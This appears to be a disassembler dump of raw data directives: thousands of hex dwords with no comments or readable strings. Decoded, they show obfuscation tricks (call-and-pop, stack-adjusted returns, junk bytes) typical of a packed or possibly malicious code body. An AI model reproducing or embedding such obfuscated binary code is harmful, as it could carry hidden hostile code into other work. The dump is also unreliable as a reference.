		dd 628C0000h, 30227D90h, 2159806h, 0C4D1E365h, 0F006A89h
		dd 580h, 0CF816600h, 6A329Eh, 224DBD29h, 95FF07E4h, 7E42471h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B9C35646h
		dd 14B63847h, 0E3717E69h, 68D0Fh, 8D890000h, 7E421C9h
		dd 0D64B8D8Dh, 0F5607E7h, 0FF5FF8BFh, 0FDBD2BD1h, 6607E423h
		dd 9AEFDB81h, 2015BD83h, 0F0107E4h, 7185h, 1DBD8900h, 6A07E424h
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0BE9B8h,	697A0000h, 22BF7A14h, 9D8E62EAh
		dd 0EBB3504Ch, 0F5240489h, 0F21BD8Bh, 95FF07E4h, 7E431ADh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C9C35040h
		dd 0A51FA5A7h, 39F8BD87h, 2C219D89h, 54E907E4h,	0E800000Eh
		dd 0
aBaSJ_1		db ']νΕΊθ',7,'j',0
		db 53h,	0E8h, 3
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 1B86C353h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 16h,	97C35545h, 9D8BEF48h, 7E41AF1h,	0C6E1858Dh, 6A07E7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F3AFA2C3h, 0C4DB0685h, 0EE8FBh, 0A9BA0000h,	0E294AF4Dh
		dd 0F62DF557h, 0E061939Eh, 0FD6CF781h, 0BF5F2429h, 9B0A799h
		dd 52525050h, 0F5BDA8Bh, 89585A31h, 0B70F2404h,	35FF64DAh
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6EC35242h
		dd 0DB37EC48h, 1E999D8Bh, 896407E4h, 25h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0F9C29E97h, 4C9B589h, 85FF07E4h, 7E420B9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 35C35545h, 3DBD095Dh
		dd 6A07E41Bh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 765127DCh, 6F47F624h, 8783BBF6h
		dd 0B70F6741h, 0FDB5FFF9h, 8907E422h, 0E40A359Dh, 9D9D8B07h
		dd 0FF07E42Fh, 0E4304D95h, 131E907h, 870F0000h,	3, 0B0FAB70Fh
		dd 4D850100h, 0E607E42Ch, 9DBD2970h, 0E407E424h, 0F8BF0F71h
		dd 830F613Ch, 10Bh, 0FF88B66h, 0B60FFBB7h, 6820FC8h, 9000000h
		dd 0E404398Dh, 6BA07h, 0BD8B0000h, 7E40ADDh, 9D8BC18Bh
		dd 7E40DDDh, 8904E8C1h,	0E400959Dh, 0E2F76607h,	0C82BFD8Ah
		dd 2641B589h, 0D18B07E4h, 0E9DFB70Fh, 6, 799D8Bh, 858B07E4h
		dd 7E4240Dh, 17810Fh, 0EE80000h, 0C3000000h, 0ED427C28h
		dd 35B7EF97h, 0F05B2953h, 0BFD78032h, 199D315Bh, 8307E40Fh
		dd 0CE807C0h, 34000000h, 6B49077Fh, 4A1B426Ah, 0E905CBAFh
		dd 12h,	6C4D94F0h, 6102EF8h, 1EBF4678h,	268BC9A4h, 835F5D0Dh
		dd 13E900C0h, 0D2000000h, 0F860199Fh, 63621142h, 66E304F6h
		dd 201A48BCh, 0D03B1E48h, 11830Fh, 0CF810000h, 747A58ABh
		dd 3AE9h, 0C5BD8B00h, 8B07E424h, 0E41AC58Dh, 799D8B07h
		dd 8307E431h, 840F01E1h, 1Fh, 0C5A583F9h, 0FE07E41Ah, 26499D89h
		dd 958907E4h, 7E4240Dh,	226BCF81h, 0E93075h, 8D000000h
		dd 0E84199B5h, 0DE8B6607h, 95FF006Ah, 7E40E41h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 3AC35646h, 0AAB9B848h
		dd 8B000008h, 0E415959Dh, 83D98B07h, 13E9FCE1h,	0E8000000h
		dd 0B676A3FBh, 26AD938Ah, 9EEE38CFh, 0D7694F5Bh, 6AFCCC70h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 5E24C350h, 8B85661Ah, 0E41F8DBDh,	0B807h
		dd 0B70F0000h, 0BAFBh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0A9896AC3h, 8D893E32h
		dd 7E42469h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	6ACBB7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0F05CDC3h, 0F9B70F50h, 880D5Bh, 0BB660000h, 958B076Dh
		dd 7E41B71h, 0BA24F381h, 8D8B4E60h, 7E42DA1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C5C35747h, 0FDB59FDEh
		dd 6800Fh, 9D2B0000h, 7E429F1h,	0AE5CDF81h, 8B504E71h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BDC35747h, 6A4B11h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0C2A27EC3h, 0D17EC9F1h, 0E781EB59h, 165E6EBBh, 1BEDBD03h
		dd 0BD8307E4h, 7E40611h, 76840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 6756C351h, 2F85F280h, 0D59D8BAFh, 0B807E40Ah, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8C35040h
		dd 10966097h, 24D59589h, 8D8D07E4h, 7E44FE7h, 2ADBD8Bh
		dd 0E1FF07E4h, 10E9h, 92B31500h, 0B8DFBC2Bh, 589F8B50h
		dd 0A0B7F46Dh, 0B9BD8391h, 7E422h, 45B840Fh, 0BD010000h
		dd 7E4126Dh, 22B9BD83h,	0F0107E4h, 46384h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 0B634C0C8h, 0BD2B1928h, 9D0BACB4h, 7E4061Dh,	83FE8B66h
		dd 0E422B9BDh, 860F0307h, 3F2h,	9E8h, 0FA5B4B00h, 0CAE2798Bh
		dd 9E9CBBEh, 67000000h,	4729E77Eh, 93AFC2A8h, 9D8B605Fh
		dd 7E415F9h, 0B7D98C66h, 4E18001h, 6870Fh, 9D890000h, 7E42B55h
		dd 2EB59D89h, 0C90A07E4h, 0FB840Fh, 8B660000h, 51858BF8h
		dd 6A07E406h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8BC4C351h, 0E4097D9Dh,	29853307h
		dd 0F07E420h, 68Fh, 3DBD8B00h, 9007E42Bh, 2434BB66h, 0A840F50h
		dd 60000000h, 0B9F78B66h, 2E510D6Eh, 27BB9061h,	6A60B5AFh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 754D3FE9h, 8596DF3Ah, 20CB8166h,	6C296837h
		dd 48B7DB29h, 0D6240481h, 6A24F597h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C1E9C352h
		dd 317B9C3Bh, 8BDFBF0Fh, 0E408CD9Dh, 9995FF07h,	0F907E42Dh
		dd 0F8A58589h, 0B58907E7h, 7E42629h, 24EE9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 8C2EDC87h, 89E8BC06h, 0E41CA185h, 9D858B07h,	8B07E7F8h
		dd 0E424499Dh, 1800C707h, 0F000000h, 0E88h, 860F6000h
		dd 0
		dd 8E0Fh, 8B610000h, 0E7F8A1B5h, 13E907h, 0CE070000h, 2CF32840h
		dd 2F4C5E7Eh, 864C070Ch, 0C9ECFAA2h, 8BDF8BA3h,	0E4009985h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 9D8B04CEh, 7E40AF5h, 2409BD8Bh, 68907E4h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E1C35646h
		dd 9D8BE9A5h, 7E42525h,	651858Bh, 852907E4h, 7E42299h
		dd 1CA98D89h, 468907E4h, 0DD8D8904h, 5007E426h,	10E8h
		dd 1AC5F400h, 408C77Bh,	0AC97F48Dh, 2ED02C8Dh, 0E9525078h
		dd 9, 0B1F676E3h, 0CD22884Ch, 8B310FEBh, 5B585AFEh, 6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 9B7C357h,	2D9A06C2h, 0B2993FD5h, 0FFFE8B66h
		dd 0E7F89DB5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 40BC1E47h, 1BC99D0Bh
		dd 8B6607E4h, 8E7668DFh, 0F601B58h, 289h, 0E9616000h, 0Dh
		dd 80864A00h, 0D7AAE69Bh, 7FA85A3Bh, 3481616Bh,	478D8924h
		dd 6890F1Bh, 89000000h,	0E41D6185h, 307ABF07h, 858D0A00h
		dd 7E7F8A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	7BC35545h, 89B4DF68h, 0E41BB59Dh, 50509007h, 0AE852h
		dd 78E80000h, 120F4648h, 30E94C40h, 7CEEBF66h, 50310F5Bh
		dd 0CE852h, 8A0E0000h, 0CCF348DBh, 0FDE3F1FCh, 0F5BFE55h
		dd 5A585A31h, 6A9058h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 889E5DC3h, 2D9995FFh, 6A07E4h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8BBCC3h, 7E40139h, 0C1CF8057h, 81BD895Fh,	6107E423h
		dd 1435BD89h, 85C707E4h, 7E422B9h, 3, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 59C35242h, 8E303A3Ch, 1B8C1903h
		dd 0AE9h, 0DCE5FA00h, 17F36104h, 838DAA94h, 0E7F8A5BDh
		dd 840F0007h, 3Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0E8C35646h, 2634B0FEh, 31FD36A0h, 0E40B8D95h
		dd 27E907h, 9D8B0000h, 7E4074Dh, 0D49FDF81h, 30502316h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 891FA1D1h, 0E42FF5B5h, 59BD0307h, 8307E42Ah
		dd 0E422B9BDh, 850F0307h, 487h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 59C35646h, 0E6A1A6h, 0AA80E781h
		dd 0BD8B7028h, 7E40DE5h, 0F8A5BD83h, 0F0007E7h,	44E84h
		dd 12E900h, 82370000h, 0F03D010Dh, 6BD4B504h, 1C6792D7h
		dd 0E3F30DB4h, 6ED5D3BFh, 0A5B5FF21h, 0FF07E7F8h, 0E4044D95h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0BD8BFFA1h, 7E4355Dh, 0F899B58Bh, 9D8B07E7h
		dd 7E41F49h, 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 2E3588C3h, 0A377C54Bh
		dd 66CDFB92h, 6650FB8Bh, 897CD2BBh, 6A2434h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0E3A099C3h
		dd 0A5B5FF62h, 8A07E7F8h, 995FFFEh, 6A07E42Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0E98FC351h, 8B867521h, 99B58BFBh, 6A07E7F8h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 9CA3C355h, 0EDAF7C43h, 0F57B6E2h, 688h, 0F9BD8B00h
		dd 5B07E41Eh, 3165858Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0FBD2D2C3h, 8B7FE00Dh
		dd 0E401A5BDh, 0C4868907h, 8B000000h, 0E433219Dh, 71958B07h
		dd 6A07E41Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 2CACC350h, 0C53B7881h,	0EDB531E7h
		dd 8307E40Dh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0DA2134C3h, 43D7A225h, 619D8BC9h
		dd 8907E41Ch, 95292050h, 7E40B51h, 0CD4858Dh, 6A07E8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0AE40A4C3h, 0F1D9059Fh, 0FA49C36h, 683h, 0BD858900h
		dd 0E907E415h, 0Eh, 7C13A17Dh, 9984321Fh, 0DCDE7079h, 9509CDD7h
		dd 7E403E1h, 0B88689h, 9E90000h, 28000000h, 28C2A3E7h
		dd 441502E5h, 0FFF8006Ah, 0E7F8A5B5h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 82B89136h, 89751DB8h, 0E4303595h, 0AD95FF07h, 0F07E431h
		dd 988h, 3890F00h, 66000000h, 0BB50DF8Bh, 3A4BBAAEh, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0C010C355h, 0D99D8B2Ch, 0FF07E42Eh, 0E7F8A5B5h
		dd 119D3107h, 0FF07E40Ah, 0E41B1195h, 68E0F07h,	89000000h
		dd 0E41EF18Dh, 0F9BD8307h, 7E40Dh, 4E840Fh, 50960000h
		dd 50525052h, 5A310F52h, 60310F58h, 0F585A61h, 0F525031h
		dd 5A46B731h, 50585A58h, 0BE8h,	0C79F6000h, 3B922FCh, 0A4C20772h
		dd 13850Fh, 0DE80000h, 6D000000h, 0F72E69E4h, 97B38893h
		dd 439E6665h, 66965F5Fh, 2A0FD781h, 0F8A5B5FFh,	6A07E7h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0E6A774C3h, 27D95FFh, 820F07E4h, 0Eh, 3DB58960h, 0F07E416h
		dd 8Dh,	0B5FF6100h, 7E7F8A5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 4EC35343h, 0CF239854h, 6FE9D5DFh
		dd 1C8E0Fh, 830F0000h, 16h, 10E8h, 8AE67B00h, 0B99C4123h
		dd 0A2B32535h, 0EE7C74E5h, 0EF815B3Ah, 7C5EDA7Bh, 17F1BD8Bh
		dd 95FF07E4h, 7E40971h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 4AC35141h, 1B0E560Fh,	24481636h, 0AD25BB90h
		dd 0BD832863h, 7E40A21h, 47840F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0EB1CC355h, 89F6500Dh, 0E425B5BDh, 0B5858B07h, 0F07E41Eh
		dd 282h, 0C6DD8A00h, 0BE90000h,	0B000000h, 572551D4h, 0EA2990CEh
		dd 85C74CA7h, 7E42671h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B1C35343h
		dd 4976EC99h, 0D634A074h, 0D1BD01A4h, 0E907E418h, 0FFFFF30Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B9C35343h
		dd 0BD8B95CFh, 7E4249Dh, 10E9C18Bh, 1A000000h, 2015C6C1h
		dd 8FFB44FDh, 0B6536CAEh, 8DEA1E8Dh, 0E40D8585h, 8B669007h
		dd 0CE850DEh, 0BC000000h, 5FE6362Bh, 51BB75D4h,	0E964BC22h
		dd 14h,	0BB4128CEh, 22A4B94Dh, 37410C91h, 677D9F16h, 156BA231h
		dd 6A905Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0E91AB2C3h, 0Dh, 19EFF9AFh, 5F2C6250h, 87073DAh
		dd 6A006AD7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4F83C350h, 10E93981h, 87000000h
		dd 3E622A3h, 93E2B8F1h,	4461CFC5h, 6ABD8D6Fh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 2FCDBE74h, 0E09B0A27h, 8166D93Dh, 8DFC06F3h,	0E8CB7D85h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0B3539721h, 2E4DCF81h, 852931FFh, 7E406F1h
		dd 6A05C083h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 30ABC350h, 95895729h, 7E40091h
		dd 0FE95Fh, 2B420000h, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h
		dd 0DE8B9055h, 9007B350h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 8AC35747h, 0F4C015Ah,	0B70FDEB7h, 6A006AD9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 159D8B7Ah, 0FF07E418h, 0E4247195h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0F780D260h, 4B8D8DFAh, 0F07E7D6h, 80h, 7E900h, 0BEDF0000h
		dd 0A7B98E06h, 29D1FF55h, 0E41D4195h, 15BD8307h, 107E420h
		dd 8E850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F00C9C3h, 388h,	0FABF0F00h, 0E860Fh
		dd 9E90000h, 48000000h,	0ABB0DB52h, 82C006A8h, 0BF60026Ah
		dd 2BBB59D5h, 0D74FBB66h, 0BB669061h, 0BB5081DDh, 1E0812Fh
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 89ED109Bh, 0E419D9BDh, 6E907h, 952B0000h
		dd 4CE56A84h, 31AD95FFh, 8D8907E4h, 7E41BB5h, 0E55E9h
		dd 0E800h, 815D0000h, 0E8CB87EDh, 81BF6607h, 55006ACFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0C25243Bh, 5CBA9A35h, 18798D89h, 858D07E4h, 7E7C6E1h
		dd 8B666050h, 48961C3h,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0E1E74670h, 0FB8BC13Eh
		dd 12E9h, 371E9000h, 0C15D7D4Dh, 8C602DA7h, 0C60CC030h
		dd 6435038Ah, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 81B50AC3h, 7C9806D3h
		dd 25896466h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 21C35141h
		dd 57875F4Fh, 35593300h, 0B985FFC5h, 6A07E420h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 27BCC351h, 0C3EBCA71h, 0AA99C772h, 25459D8Bh, 0FF6A07E4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 4CC35141h
		dd 942BCAB1h, 6C7274BFh, 81B5FF40h, 6A07E415h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0F5A6C356h, 304D95FFh, 1EE907E4h, 0F000001h,	58Ah, 0E3816600h
		dd 0B04067h, 14D58529h,	70E607E4h, 7C80BB50h, 0E45F5F33h
		dd 85896071h, 7E42341h,	295537BBh, 613C6143h, 0EB830Fh
		dd 0EF810000h, 5843C16Ah, 0B3C8B60Fh, 6BA77h, 8BFC0000h
		dd 0FEB70FC1h, 0E804E8C1h, 8, 0BE740B3h, 9E363387h, 80E3805Fh
		dd 0E8E2F766h, 13h, 4A5490E3h, 0AACAD6A2h, 21366CE3h, 0BFE5AF44h
		dd 0E8C70BA7h, 0Ah, 3EBC7C42h, 8D0AE9F6h, 9D89FD2Ah, 7E416A9h
		dd 0C82B5B5Bh, 6653D18Bh, 5F5276BFh, 7298531h, 0BE907E4h
		dd 0F000000h, 586h, 8133BB00h, 858B0730h, 7E40F29h, 0C083FB8Bh
		dd 0C5BD8907h, 8307E402h, 958900C0h, 7E41C7Dh, 830FD03Bh
		dd 18h,	4D99D8Bh, 42E907E4h, 66000000h,	8B60DA8Bh, 0E4029D95h
		dd 61585307h, 6FD8D8Bh,	0BF0F07E4h, 58D89FAh, 8307E415h
		dd 840F01E1h, 1Dh, 0E599589h, 0A58307E4h, 7E406FDh, 89FA8BFEh
		dd 0E40F2995h, 0FB8BFC07h, 0E9h, 29B58D00h, 6A07E84Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 7B51C357h, 5EABAE94h, 61BD8B17h, 6A07E40Bh
		dd 5D9D8B00h, 0FF07E41Ah, 0E40E4195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0B6927433h, 1930BB0Eh, 26918D89h, 48B907E4h,	0E9000008h
		dd 13h,	0EAE3A87Eh, 37A3CA39h, 86068638h, 12492C34h, 8309980Ah
		dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 5E85FBC3h, 0BF0F0589h, 6AFCFAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3AA8EFC3h
		dd 1C084F94h, 4DB8166h,	0B870F16h, 60000000h, 8BD0BF0Fh
		dd 0E40679BDh, 0B86107h, 8B000000h, 0E40E459Dh,	0BA07h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0CA225FC3h, 31B322FEh, 0CF80DC36h, 0DE8B565Fh
		dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 8B486C7Dh, 0E407C9BDh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 3F315ADAh
		dd 2DBD0B45h, 0D07E402h, 88h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0E5C35040h,	86E82363h, 7C2D4B36h
		dd 0DE8B6611h, 1B71958Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 8DFA4DC3h, 2DA18D8Bh
		dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0A347BAC3h, 0F128D62h, 188Ch, 10E800h, 0FA740000h
		dd 3E52FDCEh, 0BC1859CCh, 8488EEBAh, 0DE8B3E3Fh, 0DA8B665Bh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	800F5818h
		dd 30h,	13E8h, 2C285300h, 0FB3DFA5Dh, 8D140AE6h, 25F004h
		dd 0B9053FF1h, 12E9h, 16FAEC00h, 7A28C1A4h, 39D00D6Bh
		dd 81CBFB10h, 5B2FD59Dh, 0DE59D8Bh, 0DA8B07E4h,	611BD83h
		dd 0F0007E4h, 6084h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0B897668Ch, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0DDC35343h
		dd 0BF68488Ah, 69AC6773h, 4FE78D8Dh, 316007E4h,	0E423C5B5h
		dd 0C68B6607h, 89E1FF61h, 0E4024595h, 0B9BD8307h, 7E422h
		dd 4DC840Fh, 860F0000h,	13h, 0EE9h, 0FDC48500h,	0FC05A880h
		dd 3AD4DEF8h, 83D3E718h, 0E422B9BDh, 840F0107h,	4D1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8BC35343h, 2D59BD8Bh
		dd 0BF5607E4h, 6A431FA7h, 0B9BD835Bh, 307E422h,	465860Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0FA464DC3h, 94660BC8h, 68D0Fh, 0BD090000h
		dd 7E41F21h, 3D9D0B60h,	0E907E406h, 8, 83D1E884h, 8B2CCE7Bh
		dd 89D98C66h, 0E41FE995h, 4E18007h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 87C35646h, 0FAAEB506h, 81669360h
		dd 89F1A5EBh, 0E429CDB5h, 0FC90A07h, 15084h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 664BE240h, 0BF0FDA8Bh, 51858BFBh, 6A07E406h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 330CC355h, 0E4202985h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 89E60869h
		dd 0E429D585h, 0BF665007h, 489CF5Bh, 51006A24h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0A885B517h
		dd 0F85C6390h, 998529BEh, 2B07E42Bh, 0E43141BDh, 0E8006A07h
		dd 5, 0BD8C3BD1h, 6557BFFFh, 0E85F626Bh, 4, 1F03FFh, 638AECBFh
		dd 8B665076h, 24448BF9h, 0D88B6604h, 0BF66008Bh, 4489E628h
		dd 0F88B0424h, 56006A58h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 3B728F0Fh, 15AA6C17h
		dd 95FF2A5Ch, 7E42D99h,	68F0Fh,	0F3810000h, 5DA74552h
		dd 0F8A58589h, 6A07E7h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0B58994C3h, 7E41AB5h, 0F59B589h
		dd 3FE907E4h, 8B000002h, 0E43031BDh, 9D858B07h,	6A07E7F8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0E542C351h, 7DA2DBD4h, 0F04BF8Ch,	0C87h
		dd 6820F00h, 8B000000h,	0E4200DBDh, 1800C707h, 89000000h
		dd 0E42431B5h, 0A1B58B07h, 6A07E7F8h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0AADBC356h
		dd 0F52C000Ah, 8A8FCC74h, 99858BD9h, 6A07E400h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0F8BCC353h, 23319589h, 68907E4h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 1BC35747h, 0D0C1FC3Ch, 651858Bh
		dd 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 888AC3h, 0CDDCBC3Ah, 0D98B66F5h, 6A044689h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 4D4FC352h, 6E8h, 0FAB90B00h, 0F5AD351h, 0B82h
		dd 6E900h, 3B070000h, 0CBAEAAAh, 859D335Fh, 9607E430h
		dd 9E82BF66h, 66525050h, 0F73DBBFh, 5AF6B331h, 6A9658h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0E4A40BC3h, 147A6346h, 18D0Fh, 0FFF80000h, 0E7F89DB5h
		dd 0DD9D8B07h, 6807E414h, 706BB556h, 11E8h, 0A50BDD00h
		dd 0D2FD4EFBh, 290B61ECh, 4C4EA8C3h, 8B66B63Fh,	34815FF9h
		dd 74B6A924h, 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 70C56A64h, 8B7A964Ah, 0E40509BDh
		dd 0A5858D07h, 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 8DA1C356h, 0EF406B4Fh
		dd 53507446h, 10E8h, 34A2F000h,	0C58649A8h, 6F7C8344h
		dd 6951D095h, 5B5F5331h, 2404895Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0E1C35141h,	12AD8D89h, 95FF07E4h
		dd 7E42D99h, 325D8D89h,	16107E4h, 0E406F185h, 0B985C707h
		dd 307E422h, 66000000h,	0FC472BBh, 0BD83D9BFh, 7E7F8A5h
		dd 34840F00h, 31000000h, 0E405458Dh, 44E907h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
